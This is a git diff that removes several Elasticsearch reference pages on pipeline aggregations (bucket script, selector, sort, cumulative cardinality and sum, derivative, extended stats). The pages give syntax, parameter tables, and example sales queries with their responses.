deleted file mode 100644
index 508f0389ca5..00000000000
--- a/docs/reference/aggregations/pipeline/bucket-script-aggregation.asciidoc
+++ /dev/null
@@ -1,164 +0,0 @@
-[[search-aggregations-pipeline-bucket-script-aggregation]]
-=== Bucket script aggregation
-++++
-<titleabbrev>Bucket script</titleabbrev>
-++++
-
-A parent pipeline aggregation which executes a script which can perform per bucket computations on specified metrics
-in the parent multi-bucket aggregation. The specified metric must be numeric and the script must return a numeric value.
-
-[[bucket-script-agg-syntax]]
-==== Syntax
-
-A `bucket_script` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "bucket_script": {
-    "buckets_path": {
-      "my_var1": "the_sum",                     <1>
-      "my_var2": "the_value_count"
-    },
-    "script": "params.my_var1 / params.my_var2"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Here, `my_var1` is the name of the variable for this buckets path to use in the script, `the_sum` is the path to
-the metrics to use for that variable.
-
-[[bucket-script-params]]
-.`bucket_script` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`script` |The script to run for this aggregation. The script can be inline, file or indexed. (see <<modules-scripting>>
-for more details) |Required |
-|`buckets_path` |A map of script variables and their associated path to the buckets we wish to use for the variable
-(see <<buckets-path-syntax>> for more details) |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional |`skip`
-|`format` |format to apply to the output value of this aggregation |Optional |`null`
-|===
-
-The following snippet calculates the ratio percentage of t-shirt sales compared to total sales each month:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "total_sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "t-shirts": {
-          "filter": {
-            "term": {
-              "type": "t-shirt"
-            }
-          },
-          "aggs": {
-            "sales": {
-              "sum": {
-                "field": "price"
-              }
-            }
-          }
-        },
-        "t-shirt-percentage": {
-          "bucket_script": {
-            "buckets_path": {
-              "tShirtSales": "t-shirts>sales",
-              "totalSales": "total_sales"
-            },
-            "script": "params.tShirtSales / params.totalSales * 100"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "total_sales": {
-                   "value": 550.0
-               },
-               "t-shirts": {
-                   "doc_count": 1,
-                   "sales": {
-                       "value": 200.0
-                   }
-               },
-               "t-shirt-percentage": {
-                   "value": 36.36363636363637
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "total_sales": {
-                   "value": 60.0
-               },
-               "t-shirts": {
-                   "doc_count": 1,
-                   "sales": {
-                       "value": 10.0
-                   }
-               },
-               "t-shirt-percentage": {
-                   "value": 16.666666666666664
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "total_sales": {
-                   "value": 375.0
-               },
-               "t-shirts": {
-                   "doc_count": 1,
-                   "sales": {
-                       "value": 175.0
-                   }
-               },
-               "t-shirt-percentage": {
-                   "value": 46.666666666666664
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/bucket-selector-aggregation.asciidoc b/docs/reference/aggregations/pipeline/bucket-selector-aggregation.asciidoc
deleted file mode 100644
index 569115e2bfe..00000000000
--- a/docs/reference/aggregations/pipeline/bucket-selector-aggregation.asciidoc
+++ /dev/null
@@ -1,119 +0,0 @@
-[[search-aggregations-pipeline-bucket-selector-aggregation]]
-=== Bucket selector aggregation
-++++
-<titleabbrev>Bucket selector</titleabbrev>
-++++
-
-A parent pipeline aggregation which executes a script which determines whether the current bucket will be retained
-in the parent multi-bucket aggregation. The specified metric must be numeric and the script must return a boolean value.
-If the script language is `expression` then a numeric return value is permitted. In this case 0.0 will be evaluated as `false`
-and all other values will evaluate to true.
-
-NOTE: The bucket_selector aggregation, like all pipeline aggregations, executes after all other sibling aggregations. This means that
-using the bucket_selector aggregation to filter the returned buckets in the response does not save on execution time running the aggregations.
-
-==== Syntax
-
-A `bucket_selector` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "bucket_selector": {
-    "buckets_path": {
-      "my_var1": "the_sum",                     <1>
-      "my_var2": "the_value_count"
-    },
-    "script": "params.my_var1 > params.my_var2"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Here, `my_var1` is the name of the variable for this buckets path to use in the script, `the_sum` is the path to
-the metrics to use for that variable.
-
-[[bucket-selector-params]]
-.`bucket_selector` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`script` |The script to run for this aggregation. The script can be inline, file or indexed. (see <<modules-scripting>>
-for more details) |Required |
-|`buckets_path` |A map of script variables and their associated path to the buckets we wish to use for the variable
-(see <<buckets-path-syntax>> for more details) |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional |`skip`
-|===
-
-The following snippet only retains buckets where the total sales for the month is more than 200:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "total_sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "sales_bucket_filter": {
-          "bucket_selector": {
-            "buckets_path": {
-              "totalSales": "total_sales"
-            },
-            "script": "params.totalSales > 200"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "total_sales": {
-                   "value": 550.0
-               }
-            },<1>
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "total_sales": {
-                   "value": 375.0
-               },
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-<1> Bucket for `2015/02/01 00:00:00` has been removed as its total sales was less than 200
diff --git a/docs/reference/aggregations/pipeline/bucket-sort-aggregation.asciidoc b/docs/reference/aggregations/pipeline/bucket-sort-aggregation.asciidoc
deleted file mode 100644
index 69eef2e85b5..00000000000
--- a/docs/reference/aggregations/pipeline/bucket-sort-aggregation.asciidoc
+++ /dev/null
@@ -1,190 +0,0 @@
-[[search-aggregations-pipeline-bucket-sort-aggregation]]
-=== Bucket sort aggregation
-++++
-<titleabbrev>Bucket sort</titleabbrev>
-++++
-
-A parent pipeline aggregation which sorts the buckets of its parent multi-bucket aggregation.
-Zero or more sort fields may be specified together with the corresponding sort order.
-Each bucket may be sorted based on its `_key`, `_count` or its sub-aggregations.
-In addition, parameters `from` and `size` may be set in order to truncate the result buckets.
-
-NOTE: The `bucket_sort` aggregation, like all pipeline aggregations, is executed after all other non-pipeline aggregations.
-This means the sorting only applies to whatever buckets are already returned from the parent aggregation. For example,
-if the parent aggregation is `terms` and its `size` is set to `10`, the `bucket_sort` will only sort over those 10
-returned term buckets.
-
-==== Syntax
-
-A `bucket_sort` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "bucket_sort": {
-    "sort": [
-      { "sort_field_1": { "order": "asc" } },   <1>
-      { "sort_field_2": { "order": "desc" } },
-      "sort_field_3"
-    ],
-    "from": 1,
-    "size": 3
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-<1> Here, `sort_field_1` is the bucket path to the variable to be used as the primary sort and its order
-is ascending.
-
-[[bucket-sort-params]]
-.`bucket_sort` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`sort` |The list of fields to sort on. See <<sort-search-results,`sort`>> for more details. |Optional |
-|`from` |Buckets in positions prior to the set value will be truncated. |Optional | `0`
-|`size` |The number of buckets to return. Defaults to all buckets of the parent aggregation. |Optional |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional |`skip`
-|===
-
-The following snippet returns the buckets corresponding to the 3 months with the highest total sales in descending order:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "total_sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "sales_bucket_sort": {
-          "bucket_sort": {
-            "sort": [
-              { "total_sales": { "order": "desc" } } <1>
-            ],
-            "size": 3                                <2>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `sort` is set to use the values of `total_sales` in descending order
-<2> `size` is set to `3` meaning only the top 3 months in `total_sales` will be returned
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 82,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "total_sales": {
-                   "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "total_sales": {
-                   "value": 375.0
-               },
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "total_sales": {
-                   "value": 60.0
-               },
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 82/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-==== Truncating without sorting
-
-It is also possible to use this aggregation in order to truncate the result buckets
-without doing any sorting. To do so, just use the `from` and/or `size` parameters
-without specifying `sort`.
-
-The following example simply truncates the result so that only the second bucket is returned:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "bucket_truncate": {
-          "bucket_sort": {
-            "from": 1,
-            "size": 1
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc b/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc
deleted file mode 100644
index 70f907b7cda..00000000000
--- a/docs/reference/aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc
+++ /dev/null
@@ -1,236 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[search-aggregations-pipeline-cumulative-cardinality-aggregation]]
-=== Cumulative cardinality aggregation
-++++
-<titleabbrev>Cumulative cardinality</titleabbrev>
-++++
-
-A parent pipeline aggregation which calculates the Cumulative Cardinality in a parent histogram (or date_histogram)
-aggregation. The specified metric must be a cardinality aggregation and the enclosing histogram 
-must have `min_doc_count` set to `0` (default for `histogram` aggregations).
-
-The `cumulative_cardinality` agg is useful for finding "total new items", like the number of new visitors to your
-website each day.  A regular cardinality aggregation will tell you how many unique visitors came each day, but doesn't
-differentiate between "new" or "repeat" visitors.  The Cumulative Cardinality aggregation can be used to determine
-how many of each day's unique visitors are "new".
-
-==== Syntax
-
-A `cumulative_cardinality` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "cumulative_cardinality": {
-    "buckets_path": "my_cardinality_agg"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[cumulative-cardinality-params]]
-.`cumulative_cardinality` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the cardinality aggregation we wish to find the cumulative cardinality for (see <<buckets-path-syntax>> for more
- details) |Required |
-|`format` |format to apply to the output value of this aggregation |Optional |`null` 
-|===
-
-The following snippet calculates the cumulative cardinality of the total daily `users`:
-
-[source,console]
---------------------------------------------------
-GET /user_hits/_search
-{
-  "size": 0,
-  "aggs": {
-    "users_per_day": {
-      "date_histogram": {
-        "field": "timestamp",
-        "calendar_interval": "day"
-      },
-      "aggs": {
-        "distinct_users": {
-          "cardinality": {
-            "field": "user_id"
-          }
-        },
-        "total_new_users": {
-          "cumulative_cardinality": {
-            "buckets_path": "distinct_users" <1>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:user_hits]
-
-<1> `buckets_path` instructs this aggregation to use the output of the `distinct_users` aggregation for the cumulative cardinality
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "users_per_day": {
-         "buckets": [
-            {
-               "key_as_string": "2019-01-01T00:00:00.000Z",
-               "key": 1546300800000,
-               "doc_count": 2,
-               "distinct_users": {
-                  "value": 2
-               },
-               "total_new_users": {
-                  "value": 2
-               }
-            },
-            {
-               "key_as_string": "2019-01-02T00:00:00.000Z",
-               "key": 1546387200000,
-               "doc_count": 2,
-               "distinct_users": {
-                  "value": 2
-               },
-               "total_new_users": {
-                  "value": 3
-               }
-            },
-            {
-               "key_as_string": "2019-01-03T00:00:00.000Z",
-               "key": 1546473600000,
-               "doc_count": 3,
-               "distinct_users": {
-                  "value": 3
-               },
-               "total_new_users": {
-                  "value": 4
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-
-Note how the second day, `2019-01-02`, has two distinct users but the `total_new_users` metric generated by the
-cumulative pipeline agg only increments to three.  This means that only one of the two users that day were
-new, the other had already been seen in the previous day.  This happens again on the third day, where only
-one of three users is completely new.
-
-==== Incremental cumulative cardinality
-
-The `cumulative_cardinality` agg will show you the total, distinct count since the beginning of the time period
-being queried.  Sometimes, however, it is useful to see the "incremental" count.  Meaning, how many new users
-are added each day, rather than the total cumulative count.
-
-This can be accomplished by adding a `derivative` aggregation to our query:
-
-[source,console]
---------------------------------------------------
-GET /user_hits/_search
-{
-  "size": 0,
-  "aggs": {
-    "users_per_day": {
-      "date_histogram": {
-        "field": "timestamp",
-        "calendar_interval": "day"
-      },
-      "aggs": {
-        "distinct_users": {
-          "cardinality": {
-            "field": "user_id"
-          }
-        },
-        "total_new_users": {
-          "cumulative_cardinality": {
-            "buckets_path": "distinct_users"
-          }
-        },
-        "incremental_new_users": {
-          "derivative": {
-            "buckets_path": "total_new_users"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:user_hits]
-
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "users_per_day": {
-         "buckets": [
-            {
-               "key_as_string": "2019-01-01T00:00:00.000Z",
-               "key": 1546300800000,
-               "doc_count": 2,
-               "distinct_users": {
-                  "value": 2
-               },
-               "total_new_users": {
-                  "value": 2
-               }
-            },
-            {
-               "key_as_string": "2019-01-02T00:00:00.000Z",
-               "key": 1546387200000,
-               "doc_count": 2,
-               "distinct_users": {
-                  "value": 2
-               },
-               "total_new_users": {
-                  "value": 3
-               },
-               "incremental_new_users": {
-                  "value": 1.0
-               }
-            },
-            {
-               "key_as_string": "2019-01-03T00:00:00.000Z",
-               "key": 1546473600000,
-               "doc_count": 3,
-               "distinct_users": {
-                  "value": 3
-               },
-               "total_new_users": {
-                  "value": 4
-               },
-               "incremental_new_users": {
-                  "value": 1.0
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/cumulative-sum-aggregation.asciidoc b/docs/reference/aggregations/pipeline/cumulative-sum-aggregation.asciidoc
deleted file mode 100644
index 9d4bd340320..00000000000
--- a/docs/reference/aggregations/pipeline/cumulative-sum-aggregation.asciidoc
+++ /dev/null
@@ -1,120 +0,0 @@
-[[search-aggregations-pipeline-cumulative-sum-aggregation]]
-=== Cumulative sum aggregation
-++++
-<titleabbrev>Cumulative sum</titleabbrev>
-++++
-
-A parent pipeline aggregation which calculates the cumulative sum of a specified metric in a parent histogram (or date_histogram)
-aggregation. The specified metric must be numeric and the enclosing histogram must have `min_doc_count` set to `0` (default
-for `histogram` aggregations).
-
-==== Syntax
-
-A `cumulative_sum` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "cumulative_sum": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[cumulative-sum-params]]
-.`cumulative_sum` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the cumulative sum for (see <<buckets-path-syntax>> for more
- details) |Required |
-|`format` |format to apply to the output value of this aggregation |Optional |`null` 
-|===
-
-The following snippet calculates the cumulative sum of the total monthly `sales`:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "cumulative_sales": {
-          "cumulative_sum": {
-            "buckets_path": "sales" <1>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this cumulative sum aggregation to use the output of the `sales` aggregation for the cumulative sum
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               },
-               "cumulative_sales": {
-                  "value": 550.0
-               }
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               },
-               "cumulative_sales": {
-                  "value": 610.0
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               },
-               "cumulative_sales": {
-                  "value": 985.0
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
diff --git a/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc b/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc
deleted file mode 100644
index 92ea053f01a..00000000000
--- a/docs/reference/aggregations/pipeline/derivative-aggregation.asciidoc
+++ /dev/null
@@ -1,317 +0,0 @@
-[[search-aggregations-pipeline-derivative-aggregation]]
-=== Derivative aggregation
-++++
-<titleabbrev>Derivative</titleabbrev>
-++++
-
-A parent pipeline aggregation which calculates the derivative of a specified metric in a parent histogram (or date_histogram)
-aggregation. The specified metric must be numeric and the enclosing histogram must have `min_doc_count` set to `0` (default
-for `histogram` aggregations).
-
-==== Syntax
-
-A `derivative` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-"derivative": {
-  "buckets_path": "the_sum"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[derivative-params]]
-.`derivative` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to find the derivative for (see <<buckets-path-syntax>> for more
- details) |Required |
- |`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional |`skip` 
- |`format` |format to apply to the output value of this aggregation |Optional | `null` 
-|===
-
-
-==== First Order Derivative
-
-The following snippet calculates the derivative of the total monthly `sales`:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "sales_deriv": {
-          "derivative": {
-            "buckets_path": "sales" <1>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` instructs this derivative aggregation to use the output of the `sales` aggregation for the derivative
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 11,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               } <1>
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               },
-               "sales_deriv": {
-                  "value": -490.0 <2>
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2, <3>
-               "sales": {
-                  "value": 375.0
-               },
-               "sales_deriv": {
-                  "value": 315.0
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 11/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-<1> No derivative for the first bucket since we need at least 2 data points to calculate the derivative
-<2> Derivative value units are implicitly defined by the `sales` aggregation and the parent histogram so in this case the units
-would be $/month assuming the `price` field has units of $.
-<3> The number of documents in the bucket are represented by the `doc_count`
-
-==== Second Order Derivative
-
-A second order derivative can be calculated by chaining the derivative pipeline aggregation onto the result of another derivative
-pipeline aggregation as in the following example which will calculate both the first and the second order derivative of the total
-monthly sales:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "sales_deriv": {
-          "derivative": {
-            "buckets_path": "sales"
-          }
-        },
-        "sales_2nd_deriv": {
-          "derivative": {
-            "buckets_path": "sales_deriv" <1>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> `buckets_path` for the second derivative points to the name of the first derivative
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 50,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               } <1>
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               },
-               "sales_deriv": {
-                  "value": -490.0
-               } <1>
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               },
-               "sales_deriv": {
-                  "value": 315.0
-               },
-               "sales_2nd_deriv": {
-                  "value": 805.0
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 50/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-<1> No second derivative for the first two buckets since we need at least 2 data points from the first derivative to calculate the
-second derivative
-
-==== Units
-
-The derivative aggregation allows the units of the derivative values to be specified. This returns an extra field in the response
-`normalized_value` which reports the derivative value in the desired x-axis units.  In the below example we calculate the derivative
-of the total sales per month but ask for the derivative of the sales as in the units of sales per day:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        },
-        "sales_deriv": {
-          "derivative": {
-            "buckets_path": "sales",
-            "unit": "day" <1>
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-<1> `unit` specifies what unit to use for the x-axis of the derivative calculation
-
-And the following may be the response:
-
-[source,console-result]
---------------------------------------------------
-{
-   "took": 50,
-   "timed_out": false,
-   "_shards": ...,
-   "hits": ...,
-   "aggregations": {
-      "sales_per_month": {
-         "buckets": [
-            {
-               "key_as_string": "2015/01/01 00:00:00",
-               "key": 1420070400000,
-               "doc_count": 3,
-               "sales": {
-                  "value": 550.0
-               } <1>
-            },
-            {
-               "key_as_string": "2015/02/01 00:00:00",
-               "key": 1422748800000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 60.0
-               },
-               "sales_deriv": {
-                  "value": -490.0, <1>
-                  "normalized_value": -15.806451612903226 <2>
-               }
-            },
-            {
-               "key_as_string": "2015/03/01 00:00:00",
-               "key": 1425168000000,
-               "doc_count": 2,
-               "sales": {
-                  "value": 375.0
-               },
-               "sales_deriv": {
-                  "value": 315.0,
-                  "normalized_value": 11.25
-               }
-            }
-         ]
-      }
-   }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 50/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-<1> `value` is reported in the original units of 'per month'
-<2> `normalized_value` is reported in the desired units of 'per day'
diff --git a/docs/reference/aggregations/pipeline/extended-stats-bucket-aggregation.asciidoc b/docs/reference/aggregations/pipeline/extended-stats-bucket-aggregation.asciidoc
deleted file mode 100644
index a1d0674c803..00000000000
--- a/docs/reference/aggregations/pipeline/extended-stats-bucket-aggregation.asciidoc
+++ /dev/null
@@ -1,138 +0,0 @@
-[[search-aggregations-pipeline-extended-stats-bucket-aggregation]]
-=== Extended stats bucket aggregation
-++++
-<titleabbrev>Extended stats bucket</titleabbrev>
-++++
-
-A sibling pipeline aggregation which calculates a variety of stats across all bucket of a specified metric in a sibling aggregation.
-The specified metric must be numeric and the sibling aggregation must be a multi-bucket aggregation.
-
-This aggregation provides a few more statistics (sum of squares, standard deviation, etc) compared to the `stats_bucket` aggregation.
-
-==== Syntax
-
-A `extended_stats_bucket` aggregation looks like this in isolation:
-
-[source,js]
---------------------------------------------------
-{
-  "extended_stats_bucket": {
-    "buckets_path": "the_sum"
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-[[extended-stats-bucket-params]]
-.`extended_stats_bucket` Parameters
-[options="header"]
-|===
-|Parameter Name |Description |Required |Default Value
-|`buckets_path` |The path to the buckets we wish to calculate stats for (see <<buckets-path-syntax>> for more
- details) |Required |
-|`gap_policy` |The policy to apply when gaps are found in the data (see <<gap-policy>> for more
- details)|Optional | `skip`
-|`format` |format to apply to the output value of this aggregation |Optional | `null`
-|`sigma` |The number of standard deviations above/below the mean to display |Optional | 2
-|===
-
-The following snippet calculates the extended stats for monthly `sales` bucket:
-
-[source,console]
---------------------------------------------------
-POST /sales/_search
-{
-  "size": 0,
-  "aggs": {
-    "sales_per_month": {
-      "date_histogram": {
-        "field": "date",
-        "calendar_interval": "month"
-      },
-      "aggs": {
-        "sales": {
-          "sum": {
-            "field": "price"
-          }
-        }
-      }
-    },
-    "stats_monthly_sales": {
-      "extended_stats_bucket": {
-        "buckets_path": "sales_per_month>sales" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
